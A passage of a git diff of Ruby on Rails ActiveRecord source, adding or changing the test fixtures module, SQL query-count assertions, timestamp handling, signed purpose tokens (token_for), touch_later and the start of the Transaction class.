+    extend ActiveSupport::Concern
+
+    def before_setup # :nodoc:
+      setup_fixtures
+      super
+    end
+
+    def after_teardown # :nodoc:
+      super
+    ensure
+      teardown_fixtures
+    end
+
+    included do
+      ##
+      # :singleton-method: fixture_paths
+      #
+      # Returns the ActiveRecord::FixtureSet collection
+
+      ##
+      # :singleton-method: fixture_paths=
+      #
+      # :call-seq:
+      #   fixture_paths=(fixture_paths)
+      class_attribute :fixture_paths, instance_writer: false, default: []
+      class_attribute :fixture_table_names, default: []
+      class_attribute :fixture_class_names, default: {}
+      class_attribute :use_transactional_tests, default: true
+      class_attribute :use_instantiated_fixtures, default: false # true, false, or :no_instances
+      class_attribute :pre_loaded_fixtures, default: false
+      class_attribute :lock_threads, default: true
+      class_attribute :fixture_sets, default: {}
+      class_attribute :database_transactions_config, default: {}
+
+      ActiveSupport.run_load_hooks(:active_record_fixtures, self)
+    end
+
+    module ClassMethods
+      # Do not use transactional tests for the given database. This overrides
+      # the default setting as defined by `use_transactional_tests`, which
+      # applies to all database connection pools not explicitly configured here.
+      def skip_transactional_tests_for_database(database_name)
+        use_transactional_tests_for_database(database_name, false)
+      end
+
+      # Enable or disable transactions per database. This overrides the default
+      # setting as defined by `use_transactional_tests`, which applies to all
+      # database connection pools not explicitly configured here.
+      def use_transactional_tests_for_database(database_name, enabled = true)
+        self.database_transactions_config = database_transactions_config.merge(database_name => enabled)
+      end
+
+      # Sets the model class for a fixture when the class name cannot be inferred from the fixture name.
+      #
+      # Examples:
+      #
+      #   set_fixture_class some_fixture:        SomeModel,
+      #                     'namespaced/fixture' => Another::Model
+      #
+      # The keys must be the fixture names, that coincide with the short paths to the fixture files.
+      def set_fixture_class(class_names = {})
+        self.fixture_class_names = fixture_class_names.merge(class_names.stringify_keys)
+      end
+
+      def fixtures(*fixture_set_names)
+        if fixture_set_names.first == :all
+          raise StandardError, "No fixture path found. Please set `#{self}.fixture_paths`." if fixture_paths.blank?
+          fixture_set_names = fixture_paths.flat_map do |path|
+            names = Dir[::File.join(path, "{**,*}/*.{yml}")].uniq
+            names.reject! { |f| f.start_with?(file_fixture_path.to_s) } if defined?(file_fixture_path) && file_fixture_path
+            names.map! { |f| f[path.to_s.size..-5].delete_prefix("/") }
+          end.uniq
+        else
+          fixture_set_names = fixture_set_names.flatten.map(&:to_s)
+        end
+
+        self.fixture_table_names = (fixture_table_names | fixture_set_names).sort
+        setup_fixture_accessors(fixture_set_names)
+      end
+
+      def setup_fixture_accessors(fixture_set_names = nil)
+        fixture_set_names = Array(fixture_set_names || fixture_table_names)
+        unless fixture_set_names.empty?
+          self.fixture_sets = fixture_sets.dup
+          fixture_set_names.each do |fs_name|
+            key = fs_name.to_s.include?("/") ? -fs_name.to_s.tr("/", "_") : fs_name
+            key = -key.to_s if key.is_a?(Symbol)
+            fs_name = -fs_name.to_s if fs_name.is_a?(Symbol)
+            fixture_sets[key] = fs_name
+          end
+        end
+      end
+
+      # Prevents automatically wrapping each specified test in a transaction,
+      # to allow application logic transactions to be tested in a top-level
+      # (non-nested) context.
+      def uses_transaction(*methods)
+        @uses_transaction = [] unless defined?(@uses_transaction)
+        @uses_transaction.concat methods.map(&:to_s)
+      end
+
+      def uses_transaction?(method)
+        @uses_transaction = [] unless defined?(@uses_transaction)
+        @uses_transaction.include?(method.to_s)
+      end
+    end
+
+    # Generic fixture accessor for fixture names that may conflict with other methods.
+    #
+    #   assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+    #   assert_equal "Ruby on Rails", fixture(:web_sites, :rubyonrails).name
+    def fixture(fixture_set_name, *fixture_names)
+      active_record_fixture(fixture_set_name, *fixture_names)
+    end
+
+    private
+      def run_in_transaction?
+        has_explicit_config = database_transactions_config.any? { |_, enabled| enabled }
+        (use_transactional_tests || has_explicit_config) &&
+          !self.class.uses_transaction?(name)
+      end
+
+      def setup_fixtures(config = ActiveRecord::Base)
+        if pre_loaded_fixtures && !use_transactional_tests
+          raise RuntimeError, "pre_loaded_fixtures requires use_transactional_tests"
+        end
+
+        @fixture_cache = {}
+        @fixture_cache_key = [self.class.fixture_table_names.dup, self.class.fixture_paths.dup, self.class.fixture_class_names.dup]
+        @fixture_connection_pools = []
+        @@already_loaded_fixtures ||= {}
+        @connection_subscriber = nil
+        @saved_pool_configs = Hash.new { |hash, key| hash[key] = {} }
+
+        if run_in_transaction?
+          # Load fixtures once and begin transaction.
+          @loaded_fixtures = @@already_loaded_fixtures[@fixture_cache_key]
+          unless @loaded_fixtures
+            @@already_loaded_fixtures.clear
+            @loaded_fixtures = @@already_loaded_fixtures[@fixture_cache_key] = load_fixtures(config)
+          end
+
+          setup_transactional_fixtures
+        else
+          # Load fixtures for every test.
+          ActiveRecord::FixtureSet.reset_cache
+          invalidate_already_loaded_fixtures
+          @loaded_fixtures = load_fixtures(config)
+        end
+        setup_asynchronous_queries_session
+
+        # Instantiate fixtures for every test if requested.
+        instantiate_fixtures if use_instantiated_fixtures
+      end
+
+      def teardown_fixtures
+        teardown_asynchronous_queries_session
+
+        # Rollback changes if a transaction is active.
+        if run_in_transaction?
+          teardown_transactional_fixtures
+        else
+          ActiveRecord::FixtureSet.reset_cache
+          invalidate_already_loaded_fixtures
+        end
+
+        ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+      end
+
+      def setup_asynchronous_queries_session
+        @_async_queries_session = ActiveRecord::Base.asynchronous_queries_tracker.start_session
+      end
+
+      def teardown_asynchronous_queries_session
+        ActiveRecord::Base.asynchronous_queries_tracker.finalize_session(true) if @_async_queries_session
+      end
+
+      def invalidate_already_loaded_fixtures
+        @@already_loaded_fixtures.clear
+      end
+
+      def transactional_tests_for_pool?(pool)
+        database_transactions_config.fetch(pool.db_config.name.to_sym, use_transactional_tests)
+      end
+
+      def setup_transactional_fixtures
+        setup_shared_connection_pool
+
+        # Begin transactions for connections already established
+        @fixture_connection_pools = ActiveRecord::Base.connection_handler.connection_pool_list(:writing)
+
+        # Filter to pools that want to use transactions
+        @fixture_connection_pools.select! { |pool| transactional_tests_for_pool?(pool) }
+
+        @fixture_connection_pools.each do |pool|
+          pool.pin_connection!(lock_threads)
+          pool.lease_connection
+        end
+
+        # When connections are established in the future, begin a transaction too
+        @connection_subscriber = ActiveSupport::Notifications.subscribe("!connection.active_record") do |_, _, _, _, payload|
+          connection_name = payload[:connection_name] if payload.key?(:connection_name)
+          shard = payload[:shard] if payload.key?(:shard)
+
+          if connection_name
+            pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(connection_name, shard: shard)
+            if pool
+              setup_shared_connection_pool
+
+              # Don't begin a transaction if we've already done so, or are not using them for this pool
+              if !@fixture_connection_pools.include?(pool) && transactional_tests_for_pool?(pool)
+                pool.pin_connection!(lock_threads)
+                pool.lease_connection
+                @fixture_connection_pools << pool
+              end
+            end
+          end
+        end
+      end
+
+      def teardown_transactional_fixtures
+        ActiveSupport::Notifications.unsubscribe(@connection_subscriber) if @connection_subscriber
+
+        unless @fixture_connection_pools.map(&:unpin_connection!).all?
+          # Something caused the transaction to be committed or rolled back
+          # We can no longer trust the database is in a clean state.
+          @@already_loaded_fixtures.clear
+        end
+        @fixture_connection_pools.clear
+        teardown_shared_connection_pool
+      end
+
+      # Shares the writing connection pool with connections on
+      # other handlers.
+      #
+      # In an application with a primary and replica the test fixtures
+      # need to share a connection pool so that the reading connection
+      # can see data in the open transaction on the writing connection.
+      def setup_shared_connection_pool
+        handler = ActiveRecord::Base.connection_handler
+
+        handler.connection_pool_names.each do |name|
+          pool_manager = handler.send(:connection_name_to_pool_manager)[name]
+          pool_manager.shard_names.each do |shard_name|
+            writing_pool_config = pool_manager.get_pool_config(ActiveRecord.writing_role, shard_name)
+            @saved_pool_configs[name][shard_name] ||= {}
+            pool_manager.role_names.each do |role|
+              next unless pool_config = pool_manager.get_pool_config(role, shard_name)
+              next if pool_config == writing_pool_config
+
+              @saved_pool_configs[name][shard_name][role] = pool_config
+              pool_manager.set_pool_config(role, shard_name, writing_pool_config)
+            end
+          end
+        end
+      end
+
+      def teardown_shared_connection_pool
+        handler = ActiveRecord::Base.connection_handler
+
+        @saved_pool_configs.each_pair do |name, shards|
+          pool_manager = handler.send(:connection_name_to_pool_manager)[name]
+          shards.each_pair do |shard_name, roles|
+            roles.each_pair do |role, pool_config|
+              next unless pool_manager.get_pool_config(role, shard_name)
+
+              pool_manager.set_pool_config(role, shard_name, pool_config)
+            end
+          end
+        end
+
+        @saved_pool_configs.clear
+      end
+
+      def load_fixtures(config)
+        ActiveRecord::FixtureSet.create_fixtures(fixture_paths, fixture_table_names, fixture_class_names, config).index_by(&:name)
+      end
+
+      def instantiate_fixtures
+        if pre_loaded_fixtures
+          raise RuntimeError, "Load fixtures before instantiating them." if ActiveRecord::FixtureSet.all_loaded_fixtures.empty?
+          ActiveRecord::FixtureSet.instantiate_all_loaded_fixtures(self, load_instances?)
+        else
+          raise RuntimeError, "Load fixtures before instantiating them." if @loaded_fixtures.nil?
+          @loaded_fixtures.each_value do |fixture_set|
+            ActiveRecord::FixtureSet.instantiate_fixtures(self, fixture_set, load_instances?)
+          end
+        end
+      end
+
+      def load_instances?
+        use_instantiated_fixtures != :no_instances
+      end
+
+      def method_missing(method, ...)
+        if fixture_sets.key?(method.name)
+          active_record_fixture(method, ...)
+        else
+          super
+        end
+      end
+
+      def respond_to_missing?(method, include_private = false)
+        if include_private && fixture_sets.key?(method.name)
+          true
+        else
+          super
+        end
+      end
+
+      def active_record_fixture(fixture_set_name, *fixture_names)
+        if fs_name = fixture_sets[fixture_set_name.name]
+          access_fixture(fs_name, *fixture_names)
+        else
+          raise StandardError, "No fixture set named '#{fixture_set_name.inspect}'"
+        end
+      end
+
+      def access_fixture(fs_name, *fixture_names)
+        force_reload = fixture_names.pop if fixture_names.last == true || fixture_names.last == :reload
+        return_single_record = fixture_names.size == 1
+
+        fixture_names = @loaded_fixtures[fs_name].fixtures.keys if fixture_names.empty?
+        @fixture_cache[fs_name] ||= {}
+
+        instances = fixture_names.map do |f_name|
+          f_name = f_name.to_s if f_name.is_a?(Symbol)
+          @fixture_cache[fs_name].delete(f_name) if force_reload
+
+          if @loaded_fixtures[fs_name][f_name]
+            @fixture_cache[fs_name][f_name] ||= @loaded_fixtures[fs_name][f_name].find
+          else
+            raise StandardError, "No fixture named '#{f_name}' found for fixture set '#{fs_name}'"
+          end
+        end
+
+        return_single_record ? instances.first : instances
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/testing/query_assertions.rb b/activerecord/lib/active_record/testing/query_assertions.rb
new file mode 100644
index 0000000000000..1d055f8f95a81
--- /dev/null
+++ b/activerecord/lib/active_record/testing/query_assertions.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Assertions
+    module QueryAssertions
+      # Asserts that the number of SQL queries executed in the given block matches the expected count.
+      #
+      #   # Check for exact number of queries
+      #   assert_queries_count(1) { Post.first }
+      #
+      #   # Check for any number of queries
+      #   assert_queries_count { Post.first }
+      #
+      # Any unmaterialized transactions will be materialized to ensure only
+      # queries attempted intside the block are counted.
+      #
+      # If the +:include_schema+ option is provided, any queries (including
+      # schema related) are counted. Setting this option also skips leasing a
+      # connection to materialize pending transactions since we want to count
+      # queries executed at connection open (e.g., type map).
+      #
+      #   assert_queries_count(1, include_schema: true) { Post.columns }
+      #
+      def assert_queries_count(count = nil, include_schema: false, &block)
+        ActiveRecord::Base.lease_connection.materialize_transactions unless include_schema
+
+        counter = SQLCounter.new
+        ActiveSupport::Notifications.subscribed(counter, "sql.active_record") do
+          result = _assert_nothing_raised_or_warn("assert_queries_count", &block)
+          queries = include_schema ? counter.log_all : counter.log
+          if count
+            assert_equal count, queries.size, "#{queries.size} instead of #{count} queries were executed#{queries.empty? ? '' : ". Queries:\n\n#{queries.join("\n\n")}"}"
+          else
+            assert_operator queries.size, :>=, 1, "1 or more queries expected, but none were executed"
+          end
+          result
+        end
+      end
+
+      # Asserts that no SQL queries are executed in the given block.
+      #
+      #   assert_no_queries { post.comments }
+      #
+      # If the +:include_schema+ option is provided, any queries (including schema related) are counted.
+      #
+      #   assert_no_queries(include_schema: true) { Post.columns }
+      #
+      def assert_no_queries(include_schema: false, &block)
+        assert_queries_count(0, include_schema: include_schema, &block)
+      end
+
+      # Asserts that the SQL queries executed in the given block match expected pattern.
+      #
+      #   # Check for exact number of queries
+      #   assert_queries_match(/LIMIT \?/, count: 1) { Post.first }
+      #
+      #   # Check for any number of queries
+      #   assert_queries_match(/LIMIT \?/) { Post.first }
+      #
+      # If the +:include_schema+ option is provided, any queries (including schema related)
+      # that match the matcher are considered.
+      #
+      #   assert_queries_match(/FROM pg_attribute/i, include_schema: true) { Post.columns }
+      #
+      def assert_queries_match(match, count: nil, include_schema: false, &block)
+        ActiveRecord::Base.lease_connection.materialize_transactions
+
+        counter = SQLCounter.new
+        ActiveSupport::Notifications.subscribed(counter, "sql.active_record") do
+          result = _assert_nothing_raised_or_warn("assert_queries_match", &block)
+          queries = include_schema ? counter.log_all : counter.log
+          matched_queries = queries.select { |query| match === query }
+
+          if count
+            assert_equal count, matched_queries.size, "#{matched_queries.size} instead of #{count} matching queries were executed#{queries.empty? ? '' : ". Queries:\n\n#{queries.join("\n\n")}"}"
+          else
+            assert_operator matched_queries.size, :>=, 1, "1 or more matching queries expected, but none were executed#{queries.empty? ? '' : ". Queries:\n\n#{queries.join("\n\n")}"}"
+          end
+
+          result
+        end
+      end
+
+      # Asserts that no SQL queries matching the pattern are executed in the given block.
+      #
+      #   assert_no_queries_match(/SELECT/i) { post.comments }
+      #
+      # If the +:include_schema+ option is provided, any queries (including schema related)
+      # that match the matcher are counted.
+      #
+      #   assert_no_queries_match(/FROM pg_attribute/i, include_schema: true) { Post.columns }
+      #
+      def assert_no_queries_match(match, include_schema: false, &block)
+        assert_queries_match(match, count: 0, include_schema: include_schema, &block)
+      end
+
+      class SQLCounter # :nodoc:
+        attr_reader :log_full, :log_all
+
+        def initialize
+          @log_full = []
+          @log_all = []
+        end
+
+        def log
+          @log_full.map(&:first)
+        end
+
+        def call(*, payload)
+          return if payload[:cached]
+
+          sql = payload[:sql]
+          @log_all << sql
+
+          unless payload[:name] == "SCHEMA"
+            bound_values = (payload[:binds] || []).map do |value|
+              value = value.value_for_database if value.respond_to?(:value_for_database)
+              value
+            end
+
+            @log_full << [sql, bound_values]
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
index 09d8d1cdd434e..4cb0abb865a8b 100644
--- a/activerecord/lib/active_record/timestamp.rb
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -1,4 +1,5 @@
 # frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record \Timestamp
   #
@@ -29,7 +30,7 @@ module ActiveRecord
   #
   #   ActiveRecord::Base.time_zone_aware_types = [:datetime]
   #
-  # You can also add database specific timezone aware types. For example, for PostgreSQL:
+  # You can also add database-specific timezone aware types. For example, for PostgreSQL:
   #
   #   ActiveRecord::Base.time_zone_aware_types += [:tsrange, :tstzrange]
   #
@@ -43,8 +44,7 @@ module Timestamp
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :record_timestamps
-      self.record_timestamps = true
+      class_attribute :record_timestamps, default: true
     end
 
     def initialize_dup(other) # :nodoc:
@@ -52,94 +52,127 @@ def initialize_dup(other) # :nodoc:
       clear_timestamp_attributes
     end
 
-    class_methods do
-      private
-        def timestamp_attributes_for_create_in_model
-          timestamp_attributes_for_create.select { |c| column_names.include?(c) }
-        end
+    module ClassMethods # :nodoc:
+      def touch_attributes_with_time(*names, time: nil)
+        names = names.map(&:to_s)
+        names = names.map { |name| attribute_aliases[name] || name }
+        attribute_names = timestamp_attributes_for_update_in_model
+        attribute_names |= names
+        attribute_names.index_with(time || current_time_from_proper_timezone)
+      end
 
-        def timestamp_attributes_for_update_in_model
-          timestamp_attributes_for_update.select { |c| column_names.include?(c) }
-        end
+      def timestamp_attributes_for_create_in_model
+        @timestamp_attributes_for_create_in_model ||=
+          (timestamp_attributes_for_create & column_names).freeze
+      end
 
-        def all_timestamp_attributes_in_model
-          timestamp_attributes_for_create_in_model + timestamp_attributes_for_update_in_model
+      def timestamp_attributes_for_update_in_model
+        @timestamp_attributes_for_update_in_model ||=
+          (timestamp_attributes_for_update & column_names).freeze
+      end
+
+      def all_timestamp_attributes_in_model
+        @all_timestamp_attributes_in_model ||=
+          (timestamp_attributes_for_create_in_model + timestamp_attributes_for_update_in_model).freeze
+      end
+
+      def current_time_from_proper_timezone
+        with_connection { |c| c.default_timezone == :utc ? Time.now.utc : Time.now }
+      end
+
+      protected
+        def reload_schema_from_cache(recursive = true)
+          @timestamp_attributes_for_create_in_model = nil
+          @timestamp_attributes_for_update_in_model = nil
+          @all_timestamp_attributes_in_model = nil
+          super
         end
 
+      private
         def timestamp_attributes_for_create
-          ["created_at", "created_on"]
+          ["created_at", "created_on"].map! { |name| attribute_aliases[name] || name }
         end
 
         def timestamp_attributes_for_update
-          ["updated_at", "updated_on"]
-        end
-
-        def current_time_from_proper_timezone
-          default_timezone == :utc ? Time.now.utc : Time.now
+          ["updated_at", "updated_on"].map! { |name| attribute_aliases[name] || name }
         end
     end
 
   private
+    def init_internals
+      super
+      @_touch_record = nil
+    end
 
     def _create_record
       if record_timestamps
         current_time = current_time_from_proper_timezone
 
         all_timestamp_attributes_in_model.each do |column|
-          if !attribute_present?(column)
-            write_attribute(column, current_time)
-          end
+          _write_attribute(column, current_time) unless _read_attribute(column)
         end
       end
 
       super
     end
 
-    def _update_record(*args, touch: true, **options)
-      if touch && should_record_timestamps?
+    def _update_record
+      record_update_timestamps
+
+      super
+    end
+
+    def create_or_update(touch: true, **)
+      @_touch_record = touch
+      super
+    end
+
+    def record_update_timestamps
+      if @_touch_record && should_record_timestamps?
         current_time = current_time_from_proper_timezone
 
         timestamp_attributes_for_update_in_model.each do |column|
           next if will_save_change_to_attribute?(column)
-          write_attribute(column, current_time)
+          _write_attribute(column, current_time)
         end
       end
-      super(*args)
+
+      yield if block_given?
     end
 
     def should_record_timestamps?
-      record_timestamps && (!partial_writes? || has_changes_to_save?)
+      record_timestamps && (!partial_updates? || has_changes_to_save?)
     end
 
     def timestamp_attributes_for_create_in_model
-      self.class.send(:timestamp_attributes_for_create_in_model)
+      self.class.timestamp_attributes_for_create_in_model
     end
 
     def timestamp_attributes_for_update_in_model
-      self.class.send(:timestamp_attributes_for_update_in_model)
+      self.class.timestamp_attributes_for_update_in_model
     end
 
     def all_timestamp_attributes_in_model
-      self.class.send(:all_timestamp_attributes_in_model)
+      self.class.all_timestamp_attributes_in_model
     end
 
     def current_time_from_proper_timezone
-      self.class.send(:current_time_from_proper_timezone)
+      self.class.current_time_from_proper_timezone
     end
 
-    def max_updated_column_timestamp(timestamp_names = self.class.send(:timestamp_attributes_for_update))
-      timestamp_names
-        .map { |attr| self[attr] }
-        .compact
-        .map(&:to_time)
+    def max_updated_column_timestamp
+      timestamp_attributes_for_update_in_model
+        .filter_map { |attr| (v = self[attr]) && (v.is_a?(::Time) ? v : v.to_time) }
         .max
     end
 
     # Clear attributes and changed_attributes
     def clear_timestamp_attributes
       all_timestamp_attributes_in_model.each do |attribute_name|
-        self[attribute_name] = nil
-        clear_attribute_changes([attribute_name])
+        if self[attribute_name]
+          self[attribute_name] = nil
+          clear_attribute_change(attribute_name)
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/token_for.rb b/activerecord/lib/active_record/token_for.rb
new file mode 100644
index 0000000000000..fa7a6f399a37d
--- /dev/null
+++ b/activerecord/lib/active_record/token_for.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/json"
+
+module ActiveRecord
+  module TokenFor
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :token_definitions, instance_accessor: false, instance_predicate: false, default: {}
+      class_attribute :generated_token_verifier, instance_accessor: false, instance_predicate: false
+    end
+
+    TokenDefinition = Struct.new(:defining_class, :purpose, :expires_in, :block) do # :nodoc:
+      def full_purpose
+        @full_purpose ||= [defining_class.name, purpose, expires_in].join("\n")
+      end
+
+      def message_verifier
+        defining_class.generated_token_verifier
+      end
+
+      def payload_for(model)
+        block ? [model.id, model.instance_eval(&block).as_json] : [model.id]
+      end
+
+      def generate_token(model)
+        message_verifier.generate(payload_for(model), expires_in: expires_in, purpose: full_purpose)
+      end
+
+      def resolve_token(token)
+        payload = message_verifier.verified(token, purpose: full_purpose)
+        model = yield(payload[0]) if payload
+        model if model && payload_for(model) == payload
+      end
+    end
+
+    module RelationMethods
+      # Finds a record using a given +token+ for a predefined +purpose+. Returns
+      # +nil+ if the token is invalid or the record was not found.
+      def find_by_token_for(purpose, token)
+        raise UnknownPrimaryKey.new(self) unless model.primary_key
+        model.token_definitions.fetch(purpose).resolve_token(token) { |id| find_by(model.primary_key => [id]) }
+      end
+
+      # Finds a record using a given +token+ for a predefined +purpose+. Raises
+      # ActiveSupport::MessageVerifier::InvalidSignature if the token is invalid
+      # (e.g. expired, bad format, etc). Raises ActiveRecord::RecordNotFound if
+      # the token is valid but the record was not found.
+      def find_by_token_for!(purpose, token)
+        model.token_definitions.fetch(purpose).resolve_token(token) { |id| find(id) } ||
+          (raise ActiveSupport::MessageVerifier::InvalidSignature)
+      end
+    end
+
+    module ClassMethods
+      # Defines the behavior of tokens generated for a specific +purpose+.
+      # A token can be generated by calling TokenFor#generate_token_for on a
+      # record. Later, that record can be fetched by calling #find_by_token_for
+      # (or #find_by_token_for!) with the same purpose and token.
+      #
+      # Tokens are signed so that they are tamper-proof. Thus they can be
+      # exposed to outside world as, for example, password reset tokens.
+      #
+      # By default, tokens do not expire. They can be configured to expire by
+      # specifying a duration via the +expires_in+ option. The duration becomes
+      # part of the token's signature, so changing the value of +expires_in+
+      # will automatically invalidate previously generated tokens.
+      #
+      # A block may also be specified. When generating a token with
+      # TokenFor#generate_token_for, the block will be evaluated in the context
+      # of the record, and its return value will be embedded in the token as
+      # JSON. Later, when fetching the record with #find_by_token_for, the block
+      # will be evaluated again in the context of the fetched record. If the two
+      # JSON values do not match, the token will be treated as invalid. Note
+      # that the value returned by the block <b>should not contain sensitive
+      # information</b> because it will be embedded in the token as
+      # <b>human-readable plaintext JSON</b>.
+      #
+      # ==== Examples
+      #
+      #   class User < ActiveRecord::Base
+      #     has_secure_password
+      #
+      #     generates_token_for :password_reset, expires_in: 15.minutes do
+      #       # Last 10 characters of password salt, which changes when password is updated:
+      #       password_salt&.last(10)
+      #     end
+      #   end
+      #
+      #   user = User.first
+      #
+      #   token = user.generate_token_for(:password_reset)
+      #   User.find_by_token_for(:password_reset, token) # => user
+      #   # 16 minutes later...
+      #   User.find_by_token_for(:password_reset, token) # => nil
+      #
+      #   token = user.generate_token_for(:password_reset)
+      #   User.find_by_token_for(:password_reset, token) # => user
+      #   user.update!(password: "new password")
+      #   User.find_by_token_for(:password_reset, token) # => nil
+      def generates_token_for(purpose, expires_in: nil, &block)
+        self.token_definitions = token_definitions.merge(purpose => TokenDefinition.new(self, purpose, expires_in, block))
+      end
+
+      def find_by_token_for(purpose, token) # :nodoc:
+        all.find_by_token_for(purpose, token)
+      end
+
+      def find_by_token_for!(purpose, token) # :nodoc:
+        all.find_by_token_for!(purpose, token)
+      end
+    end
+
+    # Generates a token for a predefined +purpose+.
+    #
+    # Use ClassMethods#generates_token_for to define a token purpose and
+    # behavior.
+    def generate_token_for(purpose)
+      self.class.token_definitions.fetch(purpose).generate_token(self)
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/touch_later.rb b/activerecord/lib/active_record/touch_later.rb
index cacde9c881c7a..f84c543f8c0aa 100644
--- a/activerecord/lib/active_record/touch_later.rb
+++ b/activerecord/lib/active_record/touch_later.rb
@@ -1,31 +1,36 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record Touch Later
-  module TouchLater
-    extend ActiveSupport::Concern
-
-    included do
-      before_commit_without_transaction_enrollment :touch_deferred_attributes
+  module TouchLater # :nodoc:
+    def before_committed!
+      touch_deferred_attributes if has_defer_touch_attrs? && persisted?
+      super
     end
 
     def touch_later(*names) # :nodoc:
-      unless persisted?
-        raise ActiveRecordError, <<-MSG.squish
-          cannot touch on a new or destroyed record object. Consider using
-          persisted?, new_record?, or destroyed? before touching
-        MSG
-      end
+      _raise_record_not_touched_error unless persisted?
 
       @_defer_touch_attrs ||= timestamp_attributes_for_update_in_model
-      @_defer_touch_attrs |= names
+      @_defer_touch_attrs |= names.map! do |name|
+        name = name.to_s
+        self.class.attribute_aliases[name] || name
+      end unless names.empty?
+
       @_touch_time = current_time_from_proper_timezone
 
       surreptitiously_touch @_defer_touch_attrs
-      self.class.connection.add_transaction_record self
+      add_to_transaction
+      @_new_record_before_last_commit ||= false
 
       # touch the parents as we are not calling the after_save callbacks
-      self.class.reflect_on_all_associations(:belongs_to).each do |r|
+      self.class.reflect_on_all_associations.each do |r|
         if touch = r.options[:touch]
-          ActiveRecord::Associations::Builder::BelongsTo.touch_record(self, changes_to_save, r.foreign_key, r.name, touch, :touch_later)
+          if r.macro == :belongs_to
+            ActiveRecord::Associations::Builder::BelongsTo.touch_record(self, changes_to_save, r.foreign_key, r.name, touch)
+          elsif r.macro == :has_one
+            ActiveRecord::Associations::Builder::HasOne.touch_record(self, r.name, touch)
+          end
         end
       end
     end
@@ -33,30 +38,33 @@ def touch_later(*names) # :nodoc:
     def touch(*names, time: nil) # :nodoc:
       if has_defer_touch_attrs?
         names |= @_defer_touch_attrs
+        super(*names, time: time)
+        @_defer_touch_attrs, @_touch_time = nil, nil
+      else
+        super
       end
-      super(*names, time: time)
     end
 
     private
-
-      def surreptitiously_touch(attrs)
-        attrs.each { |attr| write_attribute attr, @_touch_time }
-        clear_attribute_changes attrs
+      def init_internals
+        super
+        @_defer_touch_attrs = nil
       end
 
-      def touch_deferred_attributes
-        if has_defer_touch_attrs? && persisted?
-          touch(*@_defer_touch_attrs, time: @_touch_time)
-          @_defer_touch_attrs, @_touch_time = nil, nil
+      def surreptitiously_touch(attr_names)
+        attr_names.each do |attr_name|
+          _write_attribute(attr_name, @_touch_time)
+          clear_attribute_change(attr_name)
         end
       end
 
-      def has_defer_touch_attrs?
-        defined?(@_defer_touch_attrs) && @_defer_touch_attrs.present?
+      def touch_deferred_attributes
+        @_skip_dirty_tracking = true
+        touch(time: @_touch_time)
       end
 
-      def belongs_to_touch_method
-        :touch_later
+      def has_defer_touch_attrs?
+        @_defer_touch_attrs.present?
       end
   end
 end
diff --git a/activerecord/lib/active_record/transaction.rb b/activerecord/lib/active_record/transaction.rb
new file mode 100644
index 0000000000000..6e4d50e5ab1eb
--- /dev/null
+++ b/activerecord/lib/active_record/transaction.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/digest"
+
+module ActiveRecord
+  # Class specifies the interface to interact with the current transaction state.
+  #
+  # It can either map to an actual transaction/savepoint, or represent the
+  # absence of a transaction.
+  #
+  # == State
+  #
+  # We say that a transaction is _finalized_ when it wraps a real transaction
+  # that has been either committed or rolled back.
+  #
+  # A transaction is _open_ if it wraps a real transaction that is not finalized.
+  #
+  # On the other hand, a transaction is _closed_ when it is not open. That is,
+  # when it represents absence of transaction, or it wraps a real but finalized
+  # one.
+  #
+  # You can check whether a transaction is open or closed with the +open?+ and
+  # +closed?+ predicates:
+  #
+  #  if Article.current_transaction.open?
+  #    # We are inside a real and not finalized transaction.
+  #  end
+  #
+  # Closed transactions are +blank?+ too.
+  #
+  # == Callbacks
+  #
+  # After updating the database state, you may sometimes need to perform some extra work, or reflect these
+  # changes in a remote system like clearing or updating a cache:
+  #
+  #   def publish_article(article)
+  #     article.update!(published: true)
+  #     NotificationService.article_published(article)
+  #   end
+  #
+  # The above code works but has one important flaw, which is that it no longer works properly if called inside
+  # a transaction, as it will interact with the remote system before the changes are persisted:
+  #
+  #   Article.transaction do
+  #     article = create_article(article)
+  #     publish_article(article)
+  #   end
+  #
+  # The callbacks offered by ActiveRecord::Transaction allow to rewriting this method in a way that is compatible
+  # with transactions:
+  #
+  #   def publish_article(article)
+  #     article.update!(published: true)
+  #     Article.current_transaction.after_commit do
+  #       NotificationService.article_published(article)
+  #     end
+  #   end
+  #
+  # In the above example, if +publish_article+ is called inside a transaction, the callback will be invoked
+  # after the transaction is successfully committed, and if called outside a transaction, the callback will be invoked
+  # immediately.
+  #
+  # == Caveats
+  #
+  # When using after_commit callbacks, it is important to note that if the callback raises an error, the transaction
+  # won't be rolled back as it was already committed. Relying solely on these to synchronize state between multiple
+  # systems may lead to consistency issues.
+  class Transaction
+    def initialize(internal_transaction) # :nodoc:
+      @internal_transaction = internal_transaction
+      @uuid = nil
+    end
+
+    # Registers a block to be called after the transaction is fully committed.
+    #
+    # If there is no currently open transactions, the block is called
+    # immediately, unless the transaction is finalized, in which case attempting
+    # to register the callback raises ActiveRecord::ActiveRecordError.
+    #
+    # If the transaction has a parent transaction, the callback is transferred to
+    # the parent when the current transaction commits, or dropped when the current transaction
+    # is rolled back. This operation is repeated until the outermost transaction is reached.
+    #
+    # If the callback raises an error, the transaction remains committed.
+    def after_commit(&block)
+      if @internal_transaction.nil?
+        yield
+      else
+        @internal_transaction.after_commit(&block)
+      end
+    end
+
+    # Registers a block to be called after the transaction is rolled back.
+    #
+    # If there is no currently open transactions, the block is not called. But
+    # if the transaction is finalized, attempting to register the callback
+    # raises ActiveRecord::ActiveRecordError.
+    #
+    # If the transaction is successfully committed but has a parent
+    # transaction, the callback is automatically added to the parent transaction.
+    #
+    # If the entire chain of nested transactions are all successfully committed,
+    # the block is never called.
+    def after_rollback(&block)
